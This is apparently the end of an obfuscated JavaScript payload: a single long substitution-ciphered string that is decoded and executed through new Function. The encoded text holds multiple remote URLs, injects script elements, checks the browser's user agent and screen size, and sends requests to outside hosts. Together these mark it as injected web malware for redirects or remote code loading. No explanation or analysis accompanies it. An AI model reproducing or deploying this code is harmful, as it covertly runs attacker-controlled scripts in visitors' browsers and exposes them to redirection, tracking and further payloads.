F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();